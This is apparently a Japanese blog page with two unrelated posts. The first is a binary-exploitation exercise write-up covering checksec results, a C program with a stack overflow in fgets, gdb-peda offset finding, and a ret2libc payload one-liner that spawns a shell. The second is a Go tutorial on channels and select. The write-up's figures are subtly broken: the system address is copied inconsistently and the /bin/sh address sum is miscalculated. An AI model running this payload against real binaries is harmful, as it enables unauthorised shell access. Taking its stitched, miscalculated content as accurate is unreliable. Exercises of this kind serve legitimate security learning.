晴れのち、お茶

入出力ゴミ箱

てすと

設問1

  • RELROがPartial RELROであるためGOT領域の書き込みができる->GOT Overwrite攻撃。
  • STACK CANARYがNo canary foundであるためバッファオーバーフロー(スタックベース)を利用した攻撃を容易に実行可能。
  • NXがNX disabledであるためシェルコードを用いての攻撃が可能。
  • PIEがNo PIEであるため実行ファイルそのものの配置アドレスがランダム化されない。

設問2

#include <stdio.h>

void main(void){
  char str[32];
  printf("Input your name: ");
  fgets(str, 0x3e8, stdin);
  printf("Hello, %s!\n", str);
  return;
}

設問3

fgets(str, 0x3e8, stdin);にバッファオーバーフロー(スタックベース)の脆弱性が存在する。

設問4

pedaのpattern_createコマンドを用いて適当な長さのパターン文字列を生成する。

gdb-peda$ pattern_create 70
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3'

生成したパターン文字列をプログラムの入力に渡してみる。

Input your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3
Hello, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3
!
Program received signal SIGSEGV, Segmentation fault.

Segmentation faultが発生する。

EIPの値を確認すると0x41414641(AFAA)であるので、pedaのpattern_offsetコマンドを用いてAFAAがパターン文字列の 何文字目に出現するかを確認する。

gdb-peda$ pattern_offset AFAA
AFAA found at offset: 44

以上の結果よりAFAAはパターン文字列の44文字目以降に出現することが確認できる。

libc内のsystem関数のアドレスを表示してみる。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e57310 <__libc_system>

以上の結果よりsystem関数は0xb7e55310に存在することが分かる。

GDBを介して実行した場合と直接実行した場合でstr変数のアドレスが異なる(?)のでlibc内に存在する/bin/shを使用することにする。

$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 16084c /bin/sh

$ ldd problem1
    linux-gate.so.1 =>  (0xb76e5000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751e000)
    /lib/ld-linux.so.2 (0xb76e6000)

であるから/bin/shが存在するアドレスは0xb751e000 + 0x16084c = 0xb7f7784cであることが分かる。

以上より

$ (echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x73\xe5\xb7BBBB\x4c\x78\xf7\xb7';cat) | ./problem1

の実行でシェルを起動することが出来る。

package main

import (
    "fmt"
)

func main() {
    //channelFor()
    //channelFor()
    channelSelect()
}

func chanellSend() {
    ch := make(chan int, 1)
    ch <- 1
    fmt.Print(<-ch)
}

//channelに対してもrangeを利用してforを適用できる。
func channelFor() {
    ch := make(chan int, 10)
    go func() {
        for i := 0; i < 100; i++ {
            ch <- i
        }
        close(ch)
    }()

    //closeされたらループを抜ける。
    for v := range ch {
        fmt.Print(v)
    }
}

//select文を利用することにより、複数のチャネルの待ち受け、送信処理を行うことができる。
func channelSelect() {

    ch1 := make(chan int, 1)
    ch2 := make(chan int, 1)
    ch1 <- 1
    ch2 <- 2

    //slect文のcase節はチャネル関連の処理を伴う必要がある。
    //複数のcase節の処理が可能である場合(ブロックしないとき)、goランタイムは処理可能であるcase文をランダムに選択する。
    //以下の場合は、1つ目のcaseまたは2つ目のcaseのどちらかが、ランダムに選択される。
    select {
    case v := <-ch1:
        fmt.Printf("Recieved ch1: %d", v)
    case v := <-ch2:
        fmt.Printf("Recieved ch2: %d", v)
    //処理が可能であるcase節が存在しない時は、default節が実行される。
    default:
        fmt.Printf("Default")
    }
}